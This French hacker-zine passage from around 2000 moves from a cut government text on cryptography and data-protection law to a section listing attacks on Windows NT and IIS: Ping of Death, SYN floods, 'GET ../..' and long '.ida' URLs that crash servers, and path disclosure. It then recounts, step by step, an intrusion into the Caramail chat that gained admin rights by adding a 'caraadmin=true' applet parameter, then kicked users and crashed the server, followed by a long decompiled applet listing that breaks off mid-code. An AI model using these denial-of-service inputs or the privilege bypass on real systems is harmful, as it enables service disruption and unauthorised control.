- permettre aux pouvoirs publics de lutter efficacement contre l'usage des procédés de chiffrement à des fins délictueuses. A cet effet, le dispositif juridique actuel sera complété par l'instauration d'obligations, assorties de sanctions pénales, concernant la remise aux autorités judiciaires, lorsque celles-ci la demandent, de la transcription en clair des documents chiffrés. De même, les capacités techniques des pouvoirs publics seront significativement renforcées.

Il faut donc changer la loi, ce qui prendra plusieurs mois. Mais le Gouvernement a voulu que les entraves qui pèsent sur les citoyens soucieux de protéger la confidentialité de leurs échanges et sur le développement du commerce électronique soient levées sans attendre. Ainsi, dans l'attente des modifications législatives annoncées, le Gouvernement a décidé de relever le seuil de la cryptologie dont l'utilisation est libre de 40 bits à 128 bits, niveau considéré par les experts comme assurant durablement une très grande sécurité.

En ce qui concerne la fourniture des produits de cryptologie, la procédure déclarative sera simplifiée, notamment par la suppression du test d'arrêt simple. Enfin, les contraintes pesant sur les tierces parties de confiance qui peuvent d'ores et déjà être modifiées par voie réglementaire seront fortement assouplies, en particulier par la suppression des exigences d'habilitation secret-défense pesant sur leurs personnels et de disponibilité 24 h sur 24.

2. Données personnelles : assurer un haut niveau de protection

La transposition de la directive européenne de 1995 relative à la protection des données à caractère personnel doit permettre d'adapter le cadre juridique interne à la généralisation du traitement informatique des données et à l'essor de l'internet. Elle doit garantir la préservation des droits aussi fondamentaux que la liberté individuelle et le respect dû à la vie privée.

La transposition de la directive, loin d'affaiblir les garanties légales aujourd'hui offertes aux citoyens, aura pour objet d'assurer à ceux-ci un haut niveau de protection.

Dans cette optique, les orientations que le Gouvernement proposera viseront notamment au renforcement :

- des moyens de la Commission nationale de l'informatique et des libertés (CNIL),

- du pouvoir de contrôle de la CNIL. En particulier, la CNIL devra être en mesure de mieux exercer son pouvoir de contrôle a posteriori dans le domaine, en expansion rapide, du traitement des données à des fins commerciales.

3. Documents numériques et signature électronique : lever les obstacles juridiques

Les transactions dématérialisées prennent une importance croissante, que ce soit en matière commerciale ou dans les procédures administratives. Certains obstacles juridiques rendent nécessaire une modification du code civil pour permettre l'adaptation de notre droit de la preuve aux nouvelles technologies et à la signature électronique.

Cette modification répondra à une double préoccupation :

- la conformité avec les orientations retenues au sein de l'Union européenne,

- la prise en compte, avec toutes les garanties nécessaires, de la valeur probante du document sous forme numérique et des signatures électroniques.

6/ WindowsNT

Il y a de multiples manières d'attaquer un système WindowsNT, on va en énumérer quelques-unes et les expliquer.

MS Office 7.0:
- Par MS Office 7.0 sur Windows NT 3.51

Attaques distantes:
- Ping of the Death (nom véritable!)
- Attaques SYN
- GET ../.. pour serveurs IIS (pas la v5.0)
- Nbtstat
- Restrictions aux registre
- .reg
- DoS pour IIS 5.0
- IDQ sur les serveurs IIS

Cette liste est non exhaustive et placer une liste de toutes les failles des serveurs IIS la rendrait plus importante. Mais on s'intéresse plus au système qu'au serveur.

- MS Office 7.0 pose un problème sur les plates-formes NT v.3.51: en effet lancé depuis la barre des raccourcis il permet à l'utilisateur d'accéder à des répertoires auxquels il n'a normalement pas le droit d'avoir accès.

Etudions le cas des attaques par Denial of Service (DoS) ou bien des attaques distantes.

- Ping of the Death, ce type de ping permet d'afficher une fenêtre bleue "de la mort" si le ping est façonné comme ceci: PING -l 65527 -s 1 cible ; les serveurs NT 3.51 sont concernés, mais les serveurs NT 4.0 ne sont sensibles qu'à l'envoi de grosses trames, pas lors de leur reception.
- Attaques SYN: le problème se définir en plusieurs étapes

1. De nombreuses tentatives de connections TCP sont envoyées (requêtes SYN) avec une IP non trouvable (ça envoye, ça envoye et ensuite l'envoyeur se déconnecte, par exemple)
2. A la reception des tentatives des tentatives de connection le systeme va attribuer des ressources pour établir une connection vers une cible (l'envoyeur) qui n'existe pas.
3. Un problème de configurations sur NT 3.5x et 4.0 fait que la cible va essayer de répondre 5 fois à chaque requêtes SYN par une rquête sde type SYN/ACK (pour établir aussi la connection à l'autre bout), à 3, 6, 12, 24 et 48 secondes. Apres retransmission le systeme met 96 secondes pour désatribuer les ressouces, et autres opérations. EN tout celà fait 189 secondes d'écoulées. Ce qui peut aboutir à ce message d'erreur: "The connection has been reset by the remote host.", ce qui est assez contraignant. Pour s'en rendre compte:

C:/> netstat -n -p tcp

Active Connections

Proto TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP | Local Address 127.0.0.1:1026 127.0.0.1:1028 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 | Foreign Address 127.0.0.1:1026 127.0.0.1:1028 10.57.14.154:1256 10.57.14.154:1257 10.57.14.154:1258 10.57.14.154:1259 10.57.14.154:1260 10.57.14.154:1261 10.57.14.154:1262 10.57.14.154:1263 10.57.14.154:1264 10.57.14.154:1265 10.57.14.154:1266 | State ESTABLISHED ESTABLISHED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED

- GET ../.. est une commande qui entrée sur les serveurs IIS 4.0 créé une erreur avec une fenêtre d'alerte windows: la démarche est simpel, connectez vous avec telnet sur le port 80 (donc HTTP) de la cible et tapez "GET ../.." , si le serveur n'est pas patché, il crashe.
- R.A.S. pour les commandes de type Nbtstat
- Sur les versions 3.5, 3.51, et 4.0 de W.NT il est possible d'accéder au registre du système. Sur NT 4.0 la ligne existe déjà, cette ligne c'est: <HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\Winreg>
Et si cette clef n'existe pas, les sessions distantes sur le serveur ne sont pas restreintes.
- N'importe qui peut écrire sur un fichier NT avec un .reg avec les privilèges utilisateur actuels en ouverture. c'est une action pour les .reg avec File Explorer, le registre par défaut autorise au groupe "everyone" d'accéder à de nombreeuses parties du registre.
- TOUS LES SERVEURS ISS JUSQU'A LA VERSION 5 SONT SENSIBLES AU PROBLEME QUI VA SUIVRE:
Les personnes mettant un url de type http://www.url.com/......[25 kb de "..."]...ida peut afficher:

1. URL string is too long
2. Cannot find the specified path
3. d'autres choses dans le genre

Dans le cas ou l'attaque marche il y a un message de "violation d'acces" causant le crash du serveur, ou révèle une architecture de répertoires (?).
- Les serveurs IIS peuvent être utilisés pour révéler les répertoires des fichiers d'un site (où ils résident sur un disque dur!) en demandant un fichier de type IDQ/IDA qui n'existe pas.IIS 5.0 et autres sont sensibles à ce problème:
Il suffit de demander un url de type:

1. http://www.microsoft.com/qqch.ida
2. http://www.microsoft.com/qqch.idq
A noter que le serveur microsoft.com tourne en effet sous IIS 5.0

Vous recevrez une réponse du genre: "'The IDQ d:\http\anything.idq could not be found" et après cette réponse l'attaquant distant pourrait avoir un accès authorisé à l'architecture du site et à des infos sur l'organisation du site.

7/ Caramail
(par ACiD BuRN)

Caramail hacked
18/01/00

"Nous avons put assister mardi 18 janvier un peu avant minuit en direct au piratage de chat de caramail, rappelons que caramail est un des principaux "hebergeur" d'e-mails gratuit de france.
Il est minuit, je discute tranquillement dans je ne sais plus quel chat empli de seniles juveniles, quand que vois-je INFOS CARAMAIL s'allumer. Ignorant tout d'abord la chose, j'y jette un coup d'oeil quand .... que vois je quelques phrases imcomprehensibles.....

On aurait put tout d'abord croire a je ne sais quel test de l'equipe caramail, mais non , il s'agit bien d'un hack et en direct en plus. Les "hackers" ont commencé a discuter entre eu sur le canal info caramail, en oubliant pas d'insulter l'admin et de virer de ci de la quelques salons ou connectés.
La suite, fut quand meme quelque peu puerile et decousue a noter un salon hackers ou on essayait de s'attirer les faveurs des "grands pirates" :)) et ou l'on se faisait deconnecter moyennant insultes , (comme quoi faut pas faire le fayot :))))) .. , vous decouvrirez tout ca en image ci-dessous.
Voila comme quoi nos mails sont bien gardés, merci caramail :)
Crazy JEFF. <mailto:crazy.jeff@caramail.com>"
Source: Zataz.com

I)Comment on a fait :)

Tout d'abord , je me permet d'ecrire ceci , car je suis un des touts premiers avec Gyzmo a avoir trouver la faille, les autres ont ete plus long a trouve , et ont eu le programme pour decompiler grace a nous ... (donc no problems)
Bon , tout a commencé une bonne semaine avant, j'ai vu avec un ami une personne se connecter en rouge , et cela nousa intrigué !
On a voulu etudier le chat plus en profondeur , tout d'abord en mode html , et ensuite
java ... En regardant bien , quand on se connecte sur le chat caramail , on voit qu'un fichier class est chargé (couleur grise caracteristique du java) ... on s'est dit on va recuperer le fichier class et etudier tout ca de plus pres !
On a commence a l'editer en hexadecimal , pour voir un peu ce qu'il y avait dedans , mais ce n'est pas genial l'ascii !
Ayant deja fait du java reversing (www.acidburn2000.com , j'explique comment casser des protections java) je me suis dis , je vais decompiler le fichier class du chat !!

1er probleme: trouver le fichier class !

En version java , il faut deja pourvoir editer les sources , on s'est demande 2 mins comment recuperer les sources qui appel l'applet java...
Si on click droit sur des parties du chat , il ne se passe rien, putain !!
Mais en fait , sur les bords de la fenetre du chat (bordure tres fine en noir , c de l'html) je fou un click droit et miracle, le menu apparait , on peut donc editer les sources , on fait afficher le fichier source ( pour IE) ou afficher source du cadre (pour netscape) ...
On copie tout ce petit code a la con dans un ficher html !
Le code resemble a ca :

------------------------------- debut du source html ----------------------------------------

<html><head><title>Caramail - CaraChat</title>
<style type="text/css">BODY { color: white; background: black; font-size: 8pt; font-family: ms sans serif, Arial, Helvetica; }P, TD, TH { color: white; font-family: ms sans serif, Arial, Helvetica; font-size: 8pt }</style></head>
<body><center><APPLET codebase="http://195.68.99.160" archive="CaraNewChat.jar" code="CaraNewChat.class" height="448" width="780"><PARAM name="cabbase" value="CaraNewChat.cab"><PARAM name="port" value="6666"><PARAM name="pseudo" value="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"><PARAM name="tempid" value="XXXXXXX">
<PARAM name="room0" value="Informatique">
<PARAM name="sex" value="1"><PARAM name="age" value="2600">
<PARAM name="city" value="Caramail H4x0r3d">
<table width="100%" height="448" border="1" cellspacing="0" cellpadding="4">
<tr><td>Votre navigateur n'est pas configur&eacute; pour supporter JAVA. Toutefois rien n'est perdu ! Si vous disposez d'un navigateur r&eacute;cent (version 3, 4 ou sup&eacute;rieure), veuillez v&eacute;rifier que JAVA est bien interpr&eacute;t&eacute;. Pour cela allez dans les pr&eacute;f&eacute;rences de votre navigateur puis :<ul>
<li>cochez les cases relatives &agrave; JAVA,</li>
<li>quittez,</li><li>red&eacute;marrez votre navigateur.</li></ul></td>
</tr></table></APPLET></center></body></html>

--------------------------------- fin du source html ----------------------------------------

Bon , quelques petites explications :)
On voit l'initialisation de l'applet a l'adresse "http://195.68.99.160" il ouvre une archive "jar" et on voit aussi "CaraNewChat.class" ...
Bon, deja notre petit guy est la !! On s'empresse de recuperer le fichier class , pour cela , rien de plus simple on lance une session internet explorer et on entre comme addresse: "http://195.68.99.160/CaraNewChat.class"
Voila , et hope la , on est en train de telechargez le fichier class , bref rien de dur et deja , il y a bcp bcp de mondes qui ont bloques sur ces parties mdr :) Avant de continuez, je vais vous expliquez 2,3 trucs sur cette source encore :

- <PARAM name="port" value="6666"> == le port utilisé est le port 6666
on voit qu'il se sert des param name et value pour recuperer toutes ces valeurs !
Ne pas oublier ca , on va s'en servir bientot !!

- <PARAM name="pseudo" value="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX">

bon , normalement les X sont des chiffres et des lettres, c'est notre pseudo qui est sous forme crypter ( crypter par RSA avec une clef d'environ 40 bits) il n'y auras pas eu de cryptage , il aurait suffit d'entrer un nom a la con dans value et ca aurait ete notre pseudo sur le chat ! on aurait donc pu piquer le pseudo de n'importe qui , Caramail a securise cette partie depuis un moment maintenant , mais cela n'a pas toujours ete comme ca !

bon , vous avez compris le princie des "Param name" et des "value" :) il y a ensuite l'age , la ville , le sex ....

Bon , passons a la suite, on a notre fichier class , on voit pas bien en hexa decimal ! Si vous avez jetez un oeil a mon cours sur comment cracker des protections java , vous allez me dire , on decompile l'applet !!
Exactement , on utilise un programme nommé "JAD" comment s'en servir ? on balance le fichier class dessus , et il nous sort un joli fichier *.jad , qui si ont a pas dis ou il doit etre decompile , il doit se trouver dans le repertoire windows a present!
Caranewchat.jad donc :) je joins le fichier dans l'archive , ca fait plus de 90 ko !! alors le foutre dans le cours directe, ca foutrait mechamment le bordel !! hehe

cela se presente comme ca si on edit avec le wordpad:

// Decompiled by Jad v1.5.7. Copyright 1997-99 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/SiliconValley/Bridge/8617/jad.html
// Decompiler options: packimports(3)
// Source File Name: CaraNewChat.java

import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.*;

..........

bref , c'est le debut , on va chercher dans le source ce qui peut etre interressant !!
Et un peu plus loin , on arrive a un code assez interressant :

private void a238()
{
if((a77 = getParameter("id")) == null) <-- parametre de l'ID
a77 = "*";
if((a78 = getParameter("pseudo")) == null) <-- parametre du pseudo
return;
if((a83 = getParameter("room0")) == null) <-- parametre du salon
{
if((a83 = getParameter("room1")) == null)
{
a83 = "divers";
a103 = 0;
}
else
{
a103 = 1;
}
}
else
{
a103 = 0;
}
if((a84 = getParameter("tempid")) == null) <-- parametre de l'ID encore
return;
String s;
if((s = getParameter("caraadmin")) != null) <-- parametre admin ?? what is that !
a94 = s.toUpperCase().equals("TRUE");
if((s = getParameter("proxy")) != null)
a95 = s.toUpperCase().equals("TRUE");
if((s = getParameter("port")) == null) <-- parametre du port
a70 = 6666; <-- valeur 6666 :))
else

Bon , on voit un certain 'caraadmin' , caramail adminsitrateur donc ! Si on regarde pour le port , on voit la valeur 6666 , mais pour proxy c'est du boolean True ou false ( vrai ou faux) ! donc , ca definis si on a un proxy !! et moi et gyzmo on s'est dis si on mettait la valeur admin caramail en TRUE , ca passerais peut etre !! (commencez pas a vous dire putain ct trop simple car bcp de mondes a echouez ici , alors les gentils 'petits hackers' , c pas la peine se la jouer)

A ce moment la , on reedit le fichier html et on va ou il y a tout les parametres !! et on ajoute un PARAM admin , avec une valeur true :)
cela donne ca : <PARAM name="caraadmin" value="true">

On ajoute ceci dans notre source , on a un truc comme ca maintenant :

------------------------------- debut du source html ----------------------------------------

<html><head><title>Caramail - CaraChat</title>
<style type="text/css">BODY { color: white; background: black; font-size: 8pt; font-family: ms sans serif, Arial, Helvetica; }P, TD, TH { color: white; font-family: ms sans serif, Arial, Helvetica; font-size: 8pt }</style></head>
<body><center><APPLET codebase="http://195.68.99.160" archive="CaraNewChat.jar" code="CaraNewChat.class" height="448" width="780"><PARAM name="cabbase" value="CaraNewChat.cab"><PARAM name="port" value="6666"><PARAM name="pseudo" value="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"><PARAM name="tempid" value="XXXXXXX">
<PARAM name="caraadmin" value="true">
<PARAM name="room0" value="Informatique"><PARAM name="sex" value="1">
<PARAM name="age" value="2600"><PARAM name="city" value="Caramail H4x0r3d">
<table width="100%" height="448" border="1" cellspacing="0" cellpadding="4"><tr>
<td>Votre navigateur n'est pas configur&eacute; pour supporter JAVA. Toutefois rien n'est perdu ! Si vous disposez d'un navigateur r&eacute;cent (version 3, 4 ou sup&eacute;rieure), veuillez v&eacute;rifier que JAVA est bien interpr&eacute;t&eacute;. Pour cela allez dans les pr&eacute;f&eacute;rences de votre navigateur puis :<ul><li>cochez les cases relatives &agrave; JAVA,</li><li>quittez,</li>
<li>red&eacute;marrez votre navigateur.</li></ul></td></tr></table></APPLET>
</center></body></html>

--------------------------------- fin du source html ----------------------------------------

On enregistre tout ca , et hope la , on relance le fichier et on se connecte direcement sur le chat ! sans passer par votre boite aux lettres! MDR !
Et essayer de parler , ohhhhhhhh miracle , on etait tout rouge lol !! Mais bon , on voit des boutons jaunes ( corbeille , expuler et dans info caramail invisible , et envoyer des messages a tout les connectes)
On se dit c'est trop cool on va delirer !! Putain la haine les boutons ne marchent pas :(
on a passe qq jours a etudier les sources de long en larges , la limitation vient du serveur ARGG !
Plusieurs jours passent , apres avoir decompiler l'applet pour des amis , ou a voir donner le programme a des copains , on se retrouve maintenant a une dizaine de "rouges" On a passe notre temps a tracer les ports caramail , etudier les sources , et parler entre nous on avait penser a recompiler notre chat , et l'utiliser en interne ! Mais Mardi soir , il est environ 23h10 quand un de notre groupe essai de changer les serveurs ou on se connecte pour chater !
Et la putain , caramail avait fait un sois disant 'oublis' lol !! en changeaont l'ip dans le fichier html en "http://chat5.caramail.com" on se retrouvait sur une serveur ayant toutes les commandes actives , et de la notre folle soiree commence ! On commence a taper la discutte dans 'Infos caramail' devant plus de 3000 connectes !! Vous pourez voir les screenshots joints avec ce petit texte ! Ensuite , je part me ballader dans le salon "<<< hacker >>>" et commence a delirer tout en kickant les petits cons qui faisait chier le monde , sur les photos on voit 6yohann6 et moi en train de kicker du monde ! hehehe On a aussi Gicler les salons racistes , FN , pedophiles ... J'ai kicker 2 , 3 salons de ce type , et mes amis ne sont pas gene non plus !!!
Bref , une folle soiree , ensuite le VRAI admin caramail s'amene sur les salons et relevent nos noms , il pouvait pas nous kicker car on peut pas kicker un admin hehehe :) il nous a dis qu'il allait virer nos boites , mais finis pas nous dire , qu'il n'a pas que
ca a faire , ce que je comprends tout a fait ,et rien de nous empecherais de faire un autre compte caramail ...... Bref , a force de jouer , On a plante le serveur , et qd Arnaud a repare , il avait desactiver toutes les commandes admin , car c'etait la seule facon , il pouvait rien nous faire d'autre perdant ainsi ses commandes lui aussi :))
Voila , en gros comment ca c'est passe , on a garde notre couleur et depuis hier Vendredi il a corrige les failles sur le site !

J'en profite pour passer un mot en faveur d' Arnaud , je tiens a preciser qu'il a fait un tres bon boulot , et que quand , je vois tout les petits cons dans le salon hacker qui se la joue Kevin Mitnick et qui savent meme pas editer les sources d'un fichier html (Note de Clad S.: Socket 2.3 et eux, ça fait une seule personne! ^_^)
et ensuite se permettent d'insulter l'admin qui a tres bien bosser , avec l'equipte caramail pour nous donner un chat , qui malgre les plantages , et quand meme nettement superieur aux autres chat sur le net ..
Imaginez un peu le boulot avant de l'ouvrir et de l'insulter.... je ne dis qu'une chose , bonne continuation man ;-)

Auteur: ACiD BuRN (aka _tigger)

Greetings goes to:

Toute l'equipe True admin avec qui on a bien delirer mardi soir !!
et un special greets a Gyzmo, on a trouve ensemble :)
salutation a touts mes amis sur caramail ( trop long a lister) et un remerciment a Arnaud pour son bon boulot !
et enfin a Clad Strife mon pote, ainsi que Decayer, du HKWD Clan !

Voilà le code source de caraNewChat.jad:

// Decompiled by Jad v1.5.7. Copyright 1997-99 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/SiliconValley/Bridge/8617/jad.html
// Decompiler options: packimports(3)
// Source File Name: CaraNewChat.java

import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.*;

public class CaraNewChat extends Applet
implements Runnable
{

public CaraNewChat()
{
a72 = 4096;
a73 = "";
a79 = "";
a80 = "";
a81 = "";
a94 = false;
a95 = false;
run = true;
a97 = false;
a98 = false;
a99 = null;
insets = new Insets(0, 2, 0, 2);
a131 = new Panel();
a132 = new Panel();
a133 = new Panel();
a134 = new Panel();
a135 = new Panel();
a136 = new Panel();
a137 = new LightScrollbar(1);
a138 = new LightScrollbar(1);
a152 = new Panel[20];
a153 = new Panel[20];
a154 = new Panel[20];
a155 = new Panel[20];
a156 = new LightScrollbar[20];
a157 = new CaraTrucCanvas[20];
a158 = new CaraLabelPanel[20];
a159 = new Button[20];
a160 = new Button[20];
a161 = new Button[20];
a162 = new TextField[20];
a163 = new Choice[20];
a164 = new Choice[20];
a165 = new Button[20];
a166 = new String[20];
a167 = new String[20];
a168 = new boolean[20];
a169 = new String[20];
a170 = new String[20];
a171 = new String[20];
a172 = new LightScrollbar(1);
a173 = new LightScrollbar(1);
a176 = new Panel();
a177 = new Panel();
a178 = new Panel();
a179 = new Panel();
a180 = new TextField();
a184 = new Panel();
a185 = new Panel();
a186 = new Panel();
a187 = new Panel();
a188 = new Panel();
a189 = new Panel();
a190 = new Panel();
a191 = new Panel();
a195 = new LightScrollbar(1);
a202 = new Checkbox[3];
a203 = new CheckboxGroup();
a207 = new Label("");
a208 = new TextField();
a209 = new TextField();
a210 = new Panel();
a211 = new Panel();
a212 = new Panel();
a213 = new Panel();
a214 = new Panel();
a215 = new Panel();
a216 = new Panel();
a219 = new Label("");
a220 = new Label("");
a226 = new LightScrollbar(1);
a233 = new TextField();
a234 = new Choice();
a235 = new Choice();
a236 = new Choice();
a237 = new Choice();
}

private void a238()
{
if((a77 = getParameter("id")) == null)
a77 = "*";
if((a78 = getParameter("pseudo")) == null)
return;
if((a83 = getParameter("room0")) == null)
{
if((a83 = getParameter("room1")) == null)
{
a83 = "divers";
a103 = 0;
}
else
{
a103 = 1;
}
}
else
{
a103 = 0;
}
if((a84 = getParameter("tempid")) == null)
return;
String s;
if((s = getParameter("caraadmin")) != null)
a94 = s.toUpperCase().equals("TRUE");
if((s = getParameter("proxy")) != null)
a95 = s.toUpperCase().equals("TRUE");
if((s = getParameter("port")) == null)
a70 = 6666;
else
try
{
a70 = Integer.parseInt(s);
}
catch(NumberFormatException _ex)
{
a70 = 6666;
}
if((s = getParameter("httpport")) == null)
a71 = 80;
else
try
{
a71 = Integer.parseInt(s);
}
catch(NumberFormatException _ex)
{
a71 = 80;
}
if((s = getParameter("AGE")) != null && !s.trim().equals(""))
a74 = s;
else
a74 = "?";
if((s = getParameter("SEX")) != null && !s.trim().equals(""))
a75 = s;
else
a75 = "?";
if((s = getParameter("CITY")) != null && !s.trim().equals(""))
a76 = s;
else
a76 = "?";
if((s = getParameter("domain")) != null)
a111 = s.toLowerCase();
else
a111 = "com";
}

private void a239()
{
a124 = new CaraTrucCanvas(a226, 2000, true, true, "", "Helvetica", 10, 2, 4, a111, true, true, " - ", 2, 1);
a125 = new CaraTrucCanvas(a195, 2000, true, false, "8", "Helvetica", 10, 2, 4, a111, false, false, "", 2, -1);
a126 = new CaraTrucCanvas(a172, 40, false, false, "", "Helvetica", 10, 2, 4, a111, false, false, "", 0, -1);
a127 = new CaraTrucCanvas(a173, 2000, false, false, "", "Helvetica", 10, 2, 4, a111, false, false, "", 1, -1);
a128 = new CaraTrucCanvas(a138, 40, true, true, "41", "Helvetica", 10, 2, 4, a111, true, true, "", 2, 1);
a129 = new CaraTrucCanvas(a137, 40, false, true, "", "Helvetica", 10, 2, 4, a111, false, false, "", 0, -1);
a139 = new CaraLabelPanel("Membres du salon");
a140 = new CaraLabelPanel("Dialogue");
a141 = new Button("Ignorer");
a142 = new Button("Envoyer");
a143 = new Button("Dialoguer");
a145 = new Button("Rafra\356chir");
a144 = new Button("Corbeille");
a146 = new Label("");
a147 = new Label("");
a148 = new TextField();
a149 = new Checkbox("Message priv\351");
a150 = new Choice();
a151 = new Choice();
a136 = new Panel();
a134.setLayout(new BorderLayout(0, 0));
a134.add("Center", a129);
a134.add("East", a137);
a135.setLayout(new BorderLayout(0, 0));
a135.add("Center", a128);
a135.add("East", a138);
GridBagLayout gridbaglayout = new GridBagLayout();
a132.setLayout(gridbaglayout);
GridBagConstraints gridbagconstraints = new GridBagConstraints();
gridbagconstraints.gridx = 0;
gridbagconstraints.gridy = 0;
gridbagconstraints.gridwidth = 3;
gridbagconstraints.weightx = 3D;
gridbagconstraints.weighty = 1.0D;
gridbagconstraints.fill = 1;
gridbagconstraints.insets.top = 4;
gridbagconstraints.insets.left = 4;
gridbagconstraints.insets.bottom = 4;
gridbagconstraints.insets.right = 4;
gridbaglayout.setConstraints(a135, gridbagconstraints);
a132.add(a135);
gridbagconstraints.gridy = 1;
gridbagconstraints.weighty = 0.0D;
gridbagconstraints.fill = 2;
gridbaglayout.setConstraints(a147, gridbagconstraints);
a132.add(a147);
gridbagconstraints.gridy = 2;
gridbagconstraints.gridwidth = 1;
gridbagconstraints.weightx = 1.0D;
gridbaglayout.setConstraints(a141, gridbagconstraints);
a132.add(a141);
gridbagconstraints.gridx = 1;
gridbaglayout.setConstraints(a143, gridbagconstraints);
a132.add(a143);
gridbagconstraints.gridx = 2;
gridbaglayout.setConstraints(a145, gridbagconstraints);
a132.add(a145);
a150.addItem("Noir");
a150.addItem("Bleu");
a150.addItem("Rouge");
a150.addItem("Rose");
a150.addItem("Orange");
a150.addItem("Gris");
a150.addItem("Bleu nuit");
a150.addItem("Bordeaux");
a150.addItem("Vert");
a150.addItem("Mauve");
a150.addItem("Or");
a151.addItem("Parler");
a151.addItem("Murmurer");
a151.addItem("Hurler");
a140.setLayout(new BorderLayout(0, 8));
GridBagLayout gridbaglayout1 = new GridBagLayout();
a133.setLayout(gridbaglayout1);
GridBagConstraints gridbagconstraints1 = new GridBagConstraints();
gridbagconstraints1.gridx = 0;
gridbagconstraints1.gridy = 0;
gridbagconstraints1.gridwidth = 6;
gridbagconstraints1.weightx = 1.0D;
gridbagconstraints1.weighty = 1.0D;
gridbagconstraints1.fill = 1;
gridbagconstraints1.insets.top = 4;
gridbagconstraints1.insets.left = 4;
gridbagconstraints1.insets.bottom = 4;
gridbagconstraints1.insets.right = 4;
gridbaglayout1.setConstraints(a134, gridbagconstraints1);
a133.add(a134);
gridbagconstraints1.gridy = 1;
gridbagconstraints1.weighty = 0.0D;
gridbagconstraints1.fill = 2;
gridbaglayout1.setConstraints(a146, gridbagconstraints1);
a133.add(a146);
gridbagconstraints1.gridx = 0;
gridbagconstraints1.gridy = 2;
gridbagconstraints1.gridwidth = 1;
gridbagconstraints1.weightx = 0.0D;
gridbaglayout1.setConstraints(a149, gridbagconstraints1);
a133.add(a149);
gridbagconstraints1.gridx = 1;
gridbagconstraints1.gridwidth = 5;
gridbaglayout1.setConstraints(a148, gridbagconstraints1);
a133.add(a148);
gridbagconstraints1.gridx = 0;
gridbagconstraints1.gridy = 3;
gridbagconstraints1.gridwidth = 1;
gridbaglayout1.setConstraints(a150, gridbagconstraints1);
a133.add(a150);
gridbagconstraints1.gridx = 1;
gridbaglayout1.setConstraints(a151, gridbagconstraints1);
a133.add(a151);
if(!a94)
{
gridbagconstraints1.gridx = 2;
gridbagconstraints1.gridwidth = 3;
gridbagconstraints1.weightx = 1.0D;
gridbaglayout1.setConstraints(a136, gridbagconstraints1);
a133.add(a136);
}
else
{
gridbagconstraints1.gridx = 2;
gridbagconstraints1.gridwidth = 2;
gridbagconstraints1.weightx = 1.0D;
gridbaglayout1.setConstraints(a136, gridbagconstraints1);
a133.add(a136);
gridbagconstraints1.gridx = 4;
gridbagconstraints1.weightx = 0.0D;
gridbagconstraints1.gridwidth = 1;
gridbaglayout1.setConstraints(a144, gridbagconstraints1);
a133.add(a144);
a144.setBackground(Color.orange);
}
gridbagconstraints1.gridwidth = 1;
gridbagconstraints1.weightx = 0.0D;
gridbagconstraints1.gridx = 5;
gridbaglayout1.setConstraints(a142, gridbagconstraints1);
a133.add(a142);
a140.setLayout(new BorderLayout(0, 0));
a140.add("Center", a133);
a139.setLayout(new BorderLayout(0, 0));
a139.add("Center", a132);
GridBagLayout gridbaglayout2 = new GridBagLayout();
a131.setLayout(gridbaglayout2);
GridBagConstraints gridbagconstraints2 = new GridBagConstraints();
gridbagconstraints2.gridx = 0;
gridbagconstraints2.gridy = 0;
gridbagconstraints2.gridheight = 1;
gridbagconstraints2.gridwidth = 1;
gridbagconstraints2.weightx = 3D;
gridbagconstraints2.weighty = 1.0D;
gridbagconstraints2.fill = 1;
gridbagconstraints2.insets.top = 4;
gridbagconstraints2.insets.left = 4;
gridbagconstraints2.insets.bottom = 4;
gridbagconstraints2.insets.right = 4;
gridbaglayout2.setConstraints(a140, gridbagconstraints2);
a131.add(a140);
gridbagconstraints2.gridx = 1;
gridbagconstraints2.weightx = 1.0D;
gridbaglayout2.setConstraints(a139, gridbagconstraints2);
a131.add(a139);
a183 = new Checkbox("Invisible");
a182 = new Button("Envoyer");
a181 = new Label("Message g\351n\351ral :");
a182.setBackground(Color.orange);
a176.setLayout(new BorderLayout(0, 0));
a176.add("Center", a126);
a176.add("East", a172);
a177.setLayout(new BorderLayout(0, 0));
a177.add("Center", a127);
a177.add("East", a173);
a175 = new CaraLabelPanel("Aide");
GridBagLayout gridbaglayout3 = new GridBagLayout();
a175.setLayout(gridbaglayout3);
GridBagConstraints gridbagconstraints3 = new GridBagConstraints();
gridbagconstraints3.gridx = 0;
gridbagconstraints3.gridy = 0;
gridbagconstraints3.gridwidth = 3;
gridbagconstraints3.weightx = 1.0D;
gridbagconstraints3.weighty = 1.0D;
gridbagconstraints3.fill = 1;
gridbagconstraints3.insets.top = 4;
gridbagconstraints3.insets.left = 4;
gridbagconstraints3.insets.bottom = 4;
gridbagconstraints3.insets.right = 4;
gridbaglayout3.setConstraints(a177, gridbagconstraints3);
a175.add(a177);
GridBagLayout gridbaglayout4 = new GridBagLayout();
a179.setLayout(gridbaglayout4);
GridBagConstraints gridbagconstraints4 = new GridBagConstraints();
gridbagconstraints4.gridx = 0;
gridbagconstraints4.gridy = 0;
gridbagconstraints4.gridwidth = 4;
gridbagconstraints4.weightx = 1.0D;
gridbagconstraints4.weighty = 1.0D;
gridbagconstraints4.fill = 1;
gridbagconstraints4.insets.top = 4;
gridbagconstraints4.insets.left = 4;
gridbagconstraints4.insets.bottom = 4;
gridbagconstraints4.insets.right = 4;
gridbaglayout4.setConstraints(a176, gridbagconstraints4);
a179.add(a176);
if(a94)
{
gridbagconstraints4.gridx = 0;
gridbagconstraints4.gridy = 1;
